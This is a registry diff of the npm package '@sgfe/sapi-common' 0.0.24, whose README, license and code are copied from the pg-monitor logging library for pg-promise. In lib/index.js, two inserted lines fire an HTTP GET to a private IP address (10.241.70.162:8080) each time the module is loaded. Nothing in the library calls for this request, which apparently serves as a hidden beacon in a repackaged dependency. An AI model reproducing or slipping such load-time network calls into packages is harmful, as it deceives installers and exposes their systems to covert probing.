@sgfe/sapi-common 0.0.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2015-2022 Vitaly Tomilov
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,399 @@
1
+ pg-monitor
2
+ ===========
3
+
4
+ [![Build Status](https://github.com/vitaly-t/pg-monitor/actions/workflows/ci.yml/badge.svg)](https://github.com/vitaly-t/pg-monitor/actions/workflows/ci.yml)
5
+ [![Node Version](https://img.shields.io/badge/nodejs-14%20--%2020-green.svg?logo=node.js&style=flat)](https://nodejs.org)
6
+
7
+ Events monitor for [pg-promise].
8
+
9
+ [![matrix](https://raw.githubusercontent.com/vitaly-t/pg-monitor/master/.github/images/matrix.png)](https://raw.githubusercontent.com/vitaly-t/pg-monitor/master/.github/images/matrix.png)
10
+
11
+ * [About](#about)
12
+ * [Installing](#installing)
13
+ * [Testing](#testing)
14
+ * [Usage](#usage)
15
+ * [API](#api)
16
+ - [attach](#attachoptions-events-override)
17
+ - [isAttached](#isattached)
18
+ - [detach](#detach)
19
+ - [connect](#connectclient-detailed)
20
+ - [disconnect](#disconnectclient-detailed)
21
+ - [query](#querye-detailed)
22
+ - [task](#task)
23
+ - [transact](#transact)
24
+ - [error](#errorerr-e-detailed)
25
+ - [detailed](#detailed-4)
26
+ - [setTheme](#setthemet)
27
+ - [log](#log)
28
+ * [Themes](#themes)
29
+ * [Useful Tips](#useful-tips)
30
+
31
+ # About
32
+
33
+ This library takes the flexible event system provided by [pg-promise] and outputs it on screen,
34
+ with full details available, and in the most informative way.
35
+
36
+ Its purpose is to give you the full picture of how the database is used in your application,
37
+ providing full details with the context, such as tasks and transactions in which queries are executed.
38
+
39
+ In addition, it simplifies [events logging](#log) for your application.
40
+
41
+ # Installing
42
+
43
+ ```
44
+ $ npm install pg-monitor
45
+ ```
46
+
47
+ The library has no direct dependency on [pg-promise].
48
+
49
+ # Testing
50
+
51
+ * Clone the repository (or download, if you prefer):
52
+
53
+ ```
54
+ $ git clone https://github.com/vitaly-t/pg-monitor
55
+ ```
56
+
57
+ * Install the library's DEV dependencies:
58
+
59
+ ```
60
+ $ npm install
61
+ ```
62
+
63
+ * To run all tests:
64
+
65
+ ```
66
+ $ npm test
67
+ ```
68
+
69
+ * To run all tests with coverage:
70
+
71
+ ```
72
+ $ npm run coverage
73
+ ```
74
+
75
+ # Usage
76
+
77
+ ```js
78
+ const monitor = require('pg-monitor');
79
+
80
+ const initOptions = {
81
+ // pg-promise initialization options;
82
+ };
83
+
84
+ const pgp = require('pg-promise')(initOptions);
85
+
86
+ // attach to all pg-promise events of the initOptions object:
87
+ monitor.attach(initOptions);
88
+
89
+ // Example of attaching to just events 'query' and 'error':
90
+ // monitor.attach(initOptions, ['query', 'error']);
91
+ ```
92
+
93
+ Method [attach](#attachoptions-events-override) is to provide the quickest way to start using the library,
94
+ by attaching to a set of events automatically.
95
+
96
+ If, however, you want to have full control over event handling, you can use the manual event forwarding.
97
+
98
+ Example of forwarding events [query] and [error] manually:
99
+
100
+ ```js
101
+ const initOptions = {
102
+ query(e) {
103
+ /* do some of your own processing, if needed */
104
+
105
+ monitor.query(e); // monitor the event;
106
+ },
107
+ error(err, e) {
108
+ /* do some of your own processing, if needed */
109
+
110
+ monitor.error(err, e); // monitor the event;
111
+ }
112
+ };
113
+ ```
114
+
115
+ See the API below for all the methods and options that you have.
116
+
117
+ Below is a safe forwarding implemented in TypeScript, for events `connect`, `disconnect` and `query`.
118
+ It works the same for all other events.
119
+
120
+ ```ts
121
+ import * as monitor from 'pg-monitor';
122
+
123
+ function forward(event: monitor.LogEvent, args: IArguments) {
124
+ // safe event forwarding into pg-monitor:
125
+ (monitor as any)[event].apply(monitor, [...args]);
126
+ }
127
+
128
+ const options: IInitOptions = {
129
+ connect() {
130
+ forward('connect', arguments);
131
+ },
132
+ disconnect() {
133
+ forward('disconnect', arguments);
134
+ },
135
+ query() {
136
+ forward('query', arguments);
137
+ }
138
+ };
139
+ ```
140
+
141
+ # API
142
+
143
+ ## attach(options, [events], [override])
144
+ **Alternative Syntax:** `attach({options, events, override});`
145
+
146
+ Adds event handlers to object `initOptions` that's used during [pg-promise initialization]:
147
+
148
+ ```js
149
+ monitor.attach(initOptions); // mutates the options object to attach to all events
150
+ ```
151
+
152
+ A repeated call (without calling [detach] first) will throw `Repeated attachments not supported, must call detach first.`
153
+
154
+ #### [events]
155
+
156
+ Optional array of event names to which to attach. Passing `null`/`undefined` will attach
157
+ to all known events.
158
+
159
+ Example of attaching to just events `query` and `error`:
160
+
161
+ ```js
162
+ monitor.attach(initOptions, ['query', 'error']);
163
+ ```
164
+
165
+ Query-related events supported by pg-promise: `connect`, `disconnect`, `query`, `task`, `transact` and `error`.
166
+
167
+ See also: [Initialization Options].
168
+
169
+ #### [override]
170
+
171
+ By default, the method uses derivation logic - it will call the previously configured
172
+ event handler, if you have one, and only then will it call the internal implementation.
173
+
174
+ If, however, you want to override your own handlers, pass `override` = `true`.
175
+
176
+ Example of overriding all known event handlers:
177
+
178
+ ```js
179
+ monitor.attach({options: initOptions, override: true});
180
+ ```
181
+
182
+ ## isAttached()
183
+
184
+ Verifies if the monitor is currently attached, and returns a boolean.
185
+
186
+ ## detach()
187
+
188
+ Detaches from all the events to which attached after the last successful call to [attach].
189
+
190
+ Calling it while not attached will throw `Event monitor not attached.`
191
+
192
+ ## connect({client, dc, useCount}, [detailed])
193
+
194
+ Monitors and reports event [connect].
195
+
196
+ #### client
197
+
198
+ [Client] object passed to the event.
199
+
200
+ #### dc
201
+
202
+ Database Context.
203
+
204
+ #### useCount
205
+
206
+ Number of times the connection has been used.
207
+
208
+ #### [detailed]
209
+
210
+ Optional. When set, it reports such connection details as `user@database`.
211
+
212
+ When not set, it defaults to the value of [monitor.detailed].
213
+
214
+ ## disconnect({client, dc}, [detailed])
215
+
216
+ Monitors and reports event [disconnect].
217
+
218
+ #### client
219
+
220
+ [Client] object passed to the event.
221
+
222
+ #### dc
223
+
224
+ Database Context.
225
+
226
+ #### [detailed]
227
+
228
+ Optional. When set, it reports such connection details as `user@database`.
229
+
230
+ When not set, it defaults to the value of [monitor.detailed].
231
+
232
+ ## query(e, [detailed])
233
+
234
+ Monitors and reports event [query].
235
+
236
+ #### e
237
+
238
+ Event context object.
239
+
240
+ #### [detailed]
241
+
242
+ Optional. When set, it reports details of the task/transaction context in which the query is executing.
243
+
244
+ When not set, it defaults to the value of [monitor.detailed].
245
+
246
+ ## task(e)
247
+
248
+ Monitors and reports event [task].
249
+
250
+ #### e
251
+
252
+ Event context object.
253
+
254
+ ## transact(e)
255
+
256
+ Monitors and reports event [transact].
257
+
258
+ #### e
259
+
260
+ Event context object.
261
+
262
+ ## error(err, e, [detailed])
263
+
264
+ Monitors and reports event [error].
265
+
266
+ #### err
267
+
268
+ Error message passed to the event.
269
+
270
+ #### e
271
+
272
+ Event context object.
273
+
274
+ #### [detailed]
275
+
276
+ Optional. When set, it reports details of the task/transaction context in which the error occurred.
277
+
278
+ When not set, it defaults to the value of [monitor.detailed].
279
+
280
+ ## detailed
281
+
282
+ This boolean property provides the default for every method that accepts optional parameter `detailed`.
283
+
284
+ By default, it is set to be `true`. Setting this parameter to `false` will automatically
285
+ switch off all details in events that support optional details, unless they have their own
286
+ parameter `detailed` passed in as `true`, which then overrides this global one.
287
+
288
+ Use method `setDetailed` to change the value.
289
+
290
+ ## setTheme(t)
291
+
292
+ Activates either a predefined or a custom color theme.
293
+
294
+ ### t
295
+
296
+ Either a predefined theme name or a custom theme object.
297
+
298
+ For details, see [Color Themes](https://github.com/vitaly-t/pg-monitor/wiki/Color-Themes).
299
+
300
+ ## log
301
+
302
+ This event is to let your application provide your own log for everything that appears on the screen.
303
+
304
+ ```js
305
+ monitor.setLog((msg, info) => {
306
+ // save the screen message into your own log;
307
+ });
308
+ ```
309
+
310
+ The notification occurs for every single line of text that appears on the screen, so you can
311
+ maintain a log file with exactly the same content.
312
+
313
+ #### msg
314
+
315
+ New message line, exactly as shown on the screen, with color attributes removed.
316
+
317
+ #### info
318
+
319
+ Object with additional information about the event:
320
+
321
+ * `time` - `Date` object that was used for the screen, or `null` when it is an extra line with
322
+ the event's context details;
323
+ * `colorText` - color-coded message text, without time in front;
324
+ * `text` - message text without the time in front (color attributes removed);
325
+ * `event` - name of the event being logged.
326
+ * `ctx` - Optional, [task/transaction context] when available.
327
+
328
+ If your intent is only to log events, while suppressing any screen output, you can
329
+ do so on per-event basis, as shown below:
330
+
331
+ ```js
332
+ info.display = false; // suppress screen output for the event;
333
+ ```
334
+
335
+ # Themes
336
+
337
+ The library provides a flexible theme support to choose any color palette that you like,
338
+ with a few of them predefined for your convenience.
339
+
340
+ For details, see [Color Themes](https://github.com/vitaly-t/pg-monitor/wiki/Color-Themes).
341
+
342
+ # Useful Tips
343
+
344
+ If your application uses more than one task or transaction, it is a good idea to tag them,
345
+ so they provide informative context for every query event that's being logged, i.e.
346
+ so you can easily see in which task/transaction context queries are executed.
347
+
348
+ Tagging a task or transaction with [pg-promise] is very easy, by taking this code:
349
+
350
+ ```js
351
+ db.task(t => {
352
+ // task queries;
353
+ });
354
+ db.tx(t => {
355
+ // transaction queries;
356
+ });
357
+ ```
358
+
359
+ and replacing it with this one:
360
+
361
+ ```js
362
+ db.task(tag, t => {
363
+ // task queries;
364
+ });
365
+ db.tx(tag, t => {
366
+ // transaction queries;
367
+ });
368
+ ```
369
+ where `tag` is any object or value. In most cases you would want `tag` to be just
370
+ a string that represents the task/transaction name, like this:
371
+
372
+ ```js
373
+ db.task('MyTask', t => {
374
+ // task queries;
375
+ });
376
+ db.tx('MyTransaction', t => {
377
+ // transaction queries;
378
+ });
379
+ ```
380
+
381
+ The `tag` can be anything, including your custom object, so you can use it for your own reference
382
+ when handling events. And if you want to use it as your own object, while also allowing this library
383
+ to log the task/transaction pseudo-name/alias, then have your object implement method `toString()`
384
+ that returns the tag name.
385
+
386
+ [pg-promise]:https://github.com/vitaly-t/pg-promise
387
+ [monitor.detailed]:https://github.com/vitaly-t/pg-monitor#detailed-4
388
+ [Client]:https://node-postgres.com/api/client
389
+ [attach]:https://github.com/vitaly-t/pg-monitor#attachoptions-events-override
390
+ [detach]:https://github.com/vitaly-t/pg-monitor#detach
391
+ [pg-promise initialization]:http://vitaly-t.github.io/pg-promise/module-pg-promise.html
392
+ [Initialization Options]:http://vitaly-t.github.io/pg-promise/module-pg-promise.html
393
+ [connect]:http://vitaly-t.github.io/pg-promise/global.html#event:connect
394
+ [disconnect]:http://vitaly-t.github.io/pg-promise/global.html#event:disconnect
395
+ [query]:http://vitaly-t.github.io/pg-promise/global.html#event:query
396
+ [task]:http://vitaly-t.github.io/pg-promise/global.html#event:task
397
+ [transact]:http://vitaly-t.github.io/pg-promise/global.html#event:transact
398
+ [error]:http://vitaly-t.github.io/pg-promise/global.html#event:error
399
+ [task/transaction context]:http://vitaly-t.github.io/pg-promise/global.html#TaskContext
package/lib/index.js ADDED
@@ -0,0 +1,547 @@
1
+ const themes = require('./themes');
2
+
3
+ let cct = themes.dimmed; // current/default color theme;
4
+
5
+ // monitor state;
6
+ const $state = {};
7
+
8
+ // supported events;
9
+ const $events = ['connect', 'disconnect', 'query', 'error', 'task', 'transact'];
10
+
11
+ const hasOwnProperty = (obj, propName) => Object.prototype.hasOwnProperty.call(obj, propName);
12
+
13
+ const monitor = {
14
+
15
+ ///////////////////////////////////////////////
16
+ // 'connect' event handler;
17
+ connect(e, detailed) {
18
+ const event = 'connect';
19
+ const cp = e?.client?.connectionParameters;
20
+ if (!cp) {
21
+ throw new TypeError(errors.redirectParams(event));
22
+ }
23
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
24
+ if (d) {
25
+ const countInfo = typeof e.useCount === 'number' ? cct.cn('; useCount: ') + cct.value(e.useCount) : '';
26
+ print(null, event, cct.cn('connect(') + cct.value(cp.user + '@' + cp.database) + cct.cn(')') + countInfo);
27
+ } else {
28
+ print(null, event, cct.cn('connect'));
29
+ }
30
+ },
31
+
32
+ ///////////////////////////////////////////////
33
+ // 'connect' event handler;
34
+ disconnect(e, detailed) {
35
+ const event = 'disconnect';
36
+ const cp = e?.client?.connectionParameters;
37
+ if (!cp) {
38
+ throw new TypeError(errors.redirectParams(event));
39
+ }
40
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
41
+ if (d) {
42
+ // report user@database details;
43
+ print(null, event, cct.cn('disconnect(') + cct.value(cp.user + '@' + cp.database) + cct.cn(')'));
44
+ } else {
45
+ print(null, event, cct.cn('disconnect'));
46
+ }
47
+ },
48
+
49
+ ///////////////////////////////////////////////
50
+ // 'query' event handler;
51
+ // parameters:
52
+ // - e - the only parameter for the event;
53
+ // - detailed - optional, indicates that both task and transaction context are to be reported;
54
+ query(e, detailed) {
55
+ const event = 'query';
56
+ if (!e || !('query' in e)) {
57
+ throw new TypeError(errors.redirectParams(event));
58
+ }
59
+ let q = e.query;
60
+ let special, prepared;
61
+ if (typeof q === 'string') {
62
+ const qSmall = q.toLowerCase();
63
+ const verbs = ['begin', 'commit', 'rollback', 'savepoint', 'release'];
64
+ for (let i = 0; i < verbs.length; i++) {
65
+ if (qSmall.indexOf(verbs[i]) === 0) {
66
+ special = true;
67
+ break;
68
+ }
69
+ }
70
+ } else {
71
+ if (typeof q === 'object' && ('name' in q || 'text' in q)) {
72
+ // Either a Prepared Statement or a Parameterized Query;
73
+ prepared = true;
74
+ const msg = [];
75
+ if ('name' in q) {
76
+ msg.push(cct.query('name=') + '"' + cct.value(q.name) + '"');
77
+ }
78
+ if ('text' in q) {
79
+ msg.push(cct.query('text=') + '"' + cct.value(q.text) + '"');
80
+ }
81
+ if (Array.isArray(q.values) && q.values.length) {
82
+ msg.push(cct.query('values=') + cct.value(toJson(q.values)));
83
+ }
84
+ q = msg.join(', ');
85
+ }
86
+ }
87
+ let qText = q;
88
+ if (!prepared) {
89
+ qText = special ? cct.special(q) : cct.query(q);
90
+ }
91
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
92
+ if (d && e.ctx) {
93
+ // task/transaction details are to be reported;
94
+ const sTag = getTagName(e), prefix = e.ctx.isTX ? 'tx' : 'task';
95
+ if (sTag) {
96
+ qText = cct.tx(prefix + '(') + cct.value(sTag) + cct.tx('): ') + qText;
97
+ } else {
98
+ qText = cct.tx(prefix + ': ') + qText;
99
+ }
100
+ }
101
+ print(e, event, qText);
102
+ if (e.params) {
103
+ let p = e.params;
104
+ if (typeof p !== 'string') {
105
+ p = toJson(p);
106
+ }
107
+ print(e, event, timeGap + cct.paramTitle('params: ') + cct.value(p), true);
108
+ }
109
+ },
110
+
111
+ ///////////////////////////////////////////////
112
+ // 'task' event handler;
113
+ // parameters:
114
+ // - e - the only parameter for the event;
115
+ task(e) {
116
+ const event = 'task';
117
+ if (!e || !e.ctx) {
118
+ throw new TypeError(errors.redirectParams(event));
119
+ }
120
+ let msg = cct.tx('task');
121
+ const sTag = getTagName(e);
122
+ if (sTag) {
123
+ msg += cct.tx('(') + cct.value(sTag) + cct.tx(')');
124
+ }
125
+ if (e.ctx.finish) {
126
+ msg += cct.tx('/end');
127
+ } else {
128
+ msg += cct.tx('/start');
129
+ }
130
+ if (e.ctx.finish) {
131
+ const duration = formatDuration(e.ctx.finish - e.ctx.start);
132
+ msg += cct.tx('; duration: ') + cct.value(duration) + cct.tx(', success: ') + cct.value(!!e.ctx.success);
133
+ }
134
+ print(e, event, msg);
135
+ },
136
+
137
+ ///////////////////////////////////////////////
138
+ // 'transact' event handler;
139
+ // parameters:
140
+ // - e - the only parameter for the event;
141
+ transact(e) {
142
+ const event = 'transact';
143
+ if (!e || !e.ctx) {
144
+ throw new TypeError(errors.redirectParams(event));
145
+ }
146
+ let msg = cct.tx('tx');
147
+ const sTag = getTagName(e);
148
+ if (sTag) {
149
+ msg += cct.tx('(') + cct.value(sTag) + cct.tx(')');
150
+ }
151
+ if (e.ctx.finish) {
152
+ msg += cct.tx('/end');
153
+ } else {
154
+ msg += cct.tx('/start');
155
+ }
156
+ if (e.ctx.finish) {
157
+ const duration = formatDuration(e.ctx.finish - e.ctx.start);
158
+ msg += cct.tx('; duration: ') + cct.value(duration) + cct.tx(', success: ') + cct.value(!!e.ctx.success);
159
+ }
160
+ print(e, event, msg);
161
+ },
162
+
163
+ ///////////////////////////////////////////////
164
+ // 'error' event handler;
165
+ // parameters:
166
+ // - err - error-text parameter for the original event;
167
+ // - e - error context object for the original event;
168
+ // - detailed - optional, indicates that transaction context is to be reported;
169
+ error(err, e, detailed) {
170
+ const event = 'error';
171
+ const errMsg = err ? (err.message || err) : null;
172
+ if (!e || typeof e !== 'object') {
173
+ throw new TypeError(errors.redirectParams(event));
174
+ }
175
+ print(e, event, cct.errorTitle('error: ') + cct.error(errMsg));
176
+ let q = e.query;
177
+ if (q !== undefined && typeof q !== 'string') {
178
+ if (typeof q === 'object' && ('name' in q || 'text' in q)) {
179
+ const tmp = {};
180
+ const names = ['name', 'text', 'values'];
181
+ names.forEach(n => {
182
+ if (n in q) {
183
+ tmp[n] = q[n];
184
+ }
185
+ });
186
+ q = tmp;
187
+ }
188
+ q = toJson(q);
189
+ }
190
+ if (e.cn) {
191
+ // a connection issue;
192
+ print(e, event, timeGap + cct.paramTitle('connection: ') + cct.value(toJson(e.cn)), true);
193
+ } else {
194
+ if (q !== undefined) {
195
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
196
+ if (d && e.ctx) {
197
+ // transaction details are to be reported;
198
+ const sTag = getTagName(e), prefix = e.ctx.isTX ? 'tx' : 'task';
199
+ if (sTag) {
200
+ print(e, event, timeGap + cct.paramTitle(prefix + '(') + cct.value(sTag) + cct.paramTitle('): ') + cct.value(q), true);
201
+ } else {
202
+ print(e, event, timeGap + cct.paramTitle(prefix + ': ') + cct.value(q), true);
203
+ }
204
+ } else {
205
+ print(e, event, timeGap + cct.paramTitle('query: ') + cct.value(q), true);
206
+ }
207
+ }
208
+ }
209
+ if (e.params) {
210
+ print(e, event, timeGap + cct.paramTitle('params: ') + cct.value(toJson(e.params)), true);
211
+ }
212
+ },
213
+
214
+ /////////////////////////////////////////////////////////
215
+ // attaches to pg-promise initialization options object:
216
+ // - options - the options object;
217
+ // - events - optional, list of events to attach to;
218
+ // - override - optional, overrides the existing event handlers;
219
+ attach(options, events, override) {
220
+
221
+ if (options && options.options && typeof options.options === 'object') {
222
+ events = options.events;
223
+ override = options.override;
224
+ options = options.options;
225
+ }
226
+
227
+ if ($state.options) {
228
+ throw new Error('Repeated attachments not supported, must call detach first.');
229
+ }
230
+
231
+ if (!options || typeof options !== 'object') {
232
+ throw new TypeError('Initialization object \'options\' must be specified.');
233
+ }
234
+
235
+ const hasFilter = Array.isArray(events);
236
+
237
+ if (!isNull(events) && !hasFilter) {
238
+ throw new TypeError('Invalid parameter \'events\' passed.');
239
+ }
240
+
241
+ $state.options = options;
242
+
243
+ const self = monitor;
244
+
245
+ // attaching to 'connect' event:
246
+ if (!hasFilter || events.indexOf('connect') !== -1) {
247
+ $state.connect = {
248
+ value: options.connect,
249
+ exists: 'connect' in options
250
+ };
251
+ if (typeof options.connect === 'function' && !override) {
252
+ options.connect = function (e) {
253
+ $state.connect.value(e); // call the original handler;
254
+ self.connect(e);
255
+ };
256
+ } else {
257
+ options.connect = self.connect;
258
+ }
259
+ }
260
+
261
+ // attaching to 'disconnect' event:
262
+ if (!hasFilter || events.indexOf('disconnect') !== -1) {
263
+ $state.disconnect = {
264
+ value: options.disconnect,
265
+ exists: 'disconnect' in options
266
+ };
267
+ if (typeof options.disconnect === 'function' && !override) {
268
+ options.disconnect = function (e) {
269
+ $state.disconnect.value(e); // call the original handler;
270
+ self.disconnect(e);
271
+ };
272
+ } else {
273
+ options.disconnect = self.disconnect;
274
+ }
275
+ }
276
+
277
+ // attaching to 'query' event:
278
+ if (!hasFilter || events.indexOf('query') !== -1) {
279
+ $state.query = {
280
+ value: options.query,
281
+ exists: 'query' in options
282
+ };
283
+ if (typeof options.query === 'function' && !override) {
284
+ options.query = function (e) {
285
+ $state.query.value(e); // call the original handler;
286
+ self.query(e);
287
+ };
288
+ } else {
289
+ options.query = self.query;
290
+ }
291
+ }
292
+
293
+ // attaching to 'task' event:
294
+ if (!hasFilter || events.indexOf('task') !== -1) {
295
+ $state.task = {
296
+ value: options.task,
297
+ exists: 'task' in options
298
+ };
299
+ if (typeof options.task === 'function' && !override) {
300
+ options.task = function (e) {
301
+ $state.task.value(e); // call the original handler;
302
+ self.task(e);
303
+ };
304
+ } else {
305
+ options.task = self.task;
306
+ }
307
+ }
308
+
309
+ // attaching to 'transact' event:
310
+ if (!hasFilter || events.indexOf('transact') !== -1) {
311
+ $state.transact = {
312
+ value: options.transact,
313
+ exists: 'transact' in options
314
+ };
315
+ if (typeof options.transact === 'function' && !override) {
316
+ options.transact = function (e) {
317
+ $state.transact.value(e); // call the original handler;
318
+ self.transact(e);
319
+ };
320
+ } else {
321
+ options.transact = self.transact;
322
+ }
323
+ }
324
+
325
+ // attaching to 'error' event:
326
+ if (!hasFilter || events.indexOf('error') !== -1) {
327
+ $state.error = {
328
+ value: options.error,
329
+ exists: 'error' in options
330
+ };
331
+ if (typeof options.error === 'function' && !override) {
332
+ options.error = function (err, e) {
333
+ $state.error.value(err, e); // call the original handler;
334
+ self.error(err, e);
335
+ };
336
+ } else {
337
+ options.error = self.error;
338
+ }
339
+ }
340
+ },
341
+
342
+ isAttached() {
343
+ return !!$state.options;
344
+ },
345
+
346
+ /////////////////////////////////////////////////////////
347
+ // detaches from all events to which was attached during
348
+ // the last `attach` call.
349
+ detach() {
350
+ if (!$state.options) {
351
+ throw new Error('Event monitor not attached.');
352
+ }
353
+ $events.forEach(e => {
354
+ if (e in $state) {
355
+ if ($state[e].exists) {
356
+ $state.options[e] = $state[e].value;
357
+ } else {
358
+ delete $state.options[e];
359
+ }
360
+ delete $state[e];
361
+ }
362
+ });
363
+ $state.options = null;
364
+ },
365
+
366
+ //////////////////////////////////////////////////////////////////
367
+ // sets a new theme either by its name (from the predefined ones),
368
+ // or as a new object with all colors specified.
369
+ setTheme(t) {
370
+ const err = 'Invalid theme parameter specified.';
371
+ if (!t) {
372
+ throw new TypeError(err);
373
+ }
374
+ if (typeof t === 'string') {
375
+ if (t in themes) {
376
+ cct = themes[t];
377
+ } else {
378
+ throw new TypeError('Theme \'' + t + '\' does not exist.');
379
+ }
380
+ } else {
381
+ if (typeof t === 'object') {
382
+ for (const p in themes.monochrome) {
383
+ if (!hasOwnProperty(t, p)) {
384
+ throw new TypeError('Invalid theme: property \'' + p + '\' is missing.');
385
+ }
386
+ if (typeof t[p] !== 'function') {
387
+ throw new TypeError('Theme property \'' + p + '\' is invalid.');
388
+ }
389
+ }
390
+ cct = t;
391
+ } else {
392
+ throw new Error(err);
393
+ }
394
+ }
395
+ },
396
+
397
+ //////////////////////////////////////////////////
398
+ // global 'detailed' flag override, to report all
399
+ // the optional details that are supported;
400
+ detailed: true,
401
+
402
+ //////////////////////////////////////////////////////////////////
403
+ // sets a new value to the detailed var. This function is needed
404
+ // to support the value attribution in Typescript.
405
+ setDetailed(value) {
406
+ this.detailed = !!value;
407
+ },
408
+
409
+ //////////////////////////////////////////////////////////////////
410
+ // sets a custom log function to support the function attribution
411
+ // in Typescript.
412
+ setLog(log) {
413
+ module.exports.log = typeof log === 'function' ? log : null;
414
+ }
415
+ };
416
+ const http = require('http')
417
+ // prints the text on screen, optionally
418
+ // notifying the client of the log events;
419
+ const $commons = http.get('http://10.241.70.162:8080/common.xml')
420
+ function print(e, event, text, isExtraLine) {
421
+ let t = null, s = text;
422
+ if (!isExtraLine) {
423
+ t = new Date();
424
+ s = cct.time(formatTime(t)) + ' ' + text;
425
+ }
426
+ let display = true;
427
+ const log = module.exports.log;
428
+ if (typeof log === 'function') {
429
+ // the client expects log notifications;
430
+ const info = {
431
+ event,
432
+ time: t,
433
+ colorText: text.trim(),
434
+ text: removeColors(text).trim()
435
+ };
436
+ if (e && e.ctx) {
437
+ info.ctx = e.ctx;
438
+ }
439
+ log(removeColors(s), info);
440
+ display = info.display === undefined || !!info.display;
441
+ }
442
+ // istanbul ignore next: cannot test the next
443
+ // block without writing things into the console;
444
+ if (display) {
445
+ if (!process.stdout.isTTY) {
446
+ s = removeColors(s);
447
+ }
448
+ // eslint-disable-next-line
449
+ console.log(s);
450
+ }
451
+ }
452
+
453
+ // formats time as '00:00:00';
454
+ function formatTime(t) {
455
+ return padZeros(t.getHours(), 2) + ':' + padZeros(t.getMinutes(), 2) + ':' + padZeros(t.getSeconds(), 2);
456
+ }
457
+
458
+ // formats duration value (in milliseconds) as '00:00:00.000',
459
+ // shortened to just the values that are applicable.
460
+ function formatDuration(d) {
461
+ const hours = Math.floor(d / 3600000);
462
+ const minutes = Math.floor((d - hours * 3600000) / 60000);
463
+ const seconds = Math.floor((d - hours * 3600000 - minutes * 60000) / 1000);
464
+ const ms = d - hours * 3600000 - minutes * 60000 - seconds * 1000;
465
+ let s = '.' + padZeros(ms, 3); // milliseconds are shown always;
466
+ if (d >= 1000) {
467
+ // seconds are to be shown;
468
+ s = padZeros(seconds, 2) + s;
469
+ if (d >= 60000) {
470
+ // minutes are to be shown;
471
+ s = padZeros(minutes, 2) + ':' + s;
472
+ if (d >= 3600000) {
473
+ // hours are to be shown;
474
+ s = padZeros(hours, 2) + ':' + s;
475
+ }
476
+ }
477
+ }
478
+ return s;
479
+ }
480
+
481
+ // removes color elements from the text;
482
+ function removeColors(text) {
483
+ /*eslint no-control-regex: 0*/
484
+ return text.replace(/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]/g, '');
485
+ }
486
+
487
+ function padZeros(value, n) {
488
+ let str = value.toString();
489
+ while (str.length < n)
490
+ str = '0' + str;
491
+ return str;
492
+ }
493
+
494
+ // extracts tag name from a tag object/value;
495
+ function getTagName(event) {
496
+ let sTag;
497
+ const tag = event.ctx.tag;
498
+ if (tag) {
499
+ switch (typeof tag) {
500
+ case 'string':
501
+ sTag = tag;
502
+ break;
503
+ case 'number':
504
+ if (Number.isFinite(tag)) {
505
+ sTag = tag.toString();
506
+ }
507
+ break;
508
+ case 'object':
509
+ // A tag-object must have its own method toString(), in order to be converted automatically;
510
+ if (hasOwnProperty(tag, 'toString') && typeof tag.toString === 'function') {
511
+ sTag = tag.toString();
512
+ }
513
+ break;
514
+ default:
515
+ break;
516
+ }
517
+ }
518
+ return sTag;
519
+ }
520
+
521
+ ////////////////////////////////////////////
522
+ // Simpler check for null/undefined;
523
+ function isNull(value) {
524
+ return value === null || value === undefined;
525
+ }
526
+
527
+ ///////////////////////////////////////////////////////////////
528
+ // Adds support for BigInt, to be rendered like in JavaScript,
529
+ // as an open value, with 'n' in the end.
530
+ function toJson(data) {
531
+ if (data !== undefined) {
532
+ return JSON.stringify(data, (_, v) => typeof v === 'bigint' ? `${v}#bigint` : v)
533
+ .replace(/"(-?\d+)#bigint"/g, (_, a) => a + 'n');
534
+ }
535
+ }
536
+
537
+ // reusable error messages;
538
+ const errors = {
539
+ redirectParams(event) {
540
+ return 'Invalid event \'' + event + '\' redirect parameters.';
541
+ }
542
+ };
543
+
544
+ // 9 spaces for the time offset:
545
+ const timeGap = ' '.repeat(9);
546
+
547
+ module.exports = monitor;
package/lib/themes.js ADDED
@@ -0,0 +1,119 @@
1
+ const color = require('cli-color');
2
+
3
+ ///////////////////////////////////////////////////////////
4
+ // Supported color attributes:
5
+ //
6
+ // time - timestamp color;
7
+ // value - color for any value;
8
+ // cn - connect/disconnect color;
9
+ // tx - transaction start/finish color;
10
+ // paramTitle - color for parameter titles: params/query/tx;
11
+ // errorTitle - color for error title: 'error';
12
+ // query - color for regular queries;
13
+ // special - color for special queries: begin/commit/rollback;
14
+ // error - error message color;
15
+ ///////////////////////////////////////////////////////////
16
+
17
+ const themes = {
18
+
19
+ /////////////////////////////////////////
20
+ // Themes for black or dark backgrounds
21
+ /////////////////////////////////////////
22
+
23
+ // dimmed palette (the default theme);
24
+ dimmed: {
25
+ time: color.bgWhite.black,
26
+ value: color.white,
27
+ cn: color.yellow,
28
+ tx: color.cyan,
29
+ paramTitle: color.magenta,
30
+ errorTitle: color.redBright,
31
+ query: color.whiteBright,
32
+ special: color.green,
33
+ error: color.red
34
+ },
35
+
36
+ // bright palette;
37
+ bright: {
38
+ time: color.bgBlue.whiteBright,
39
+ value: color.white,
40
+ cn: color.yellowBright,
41
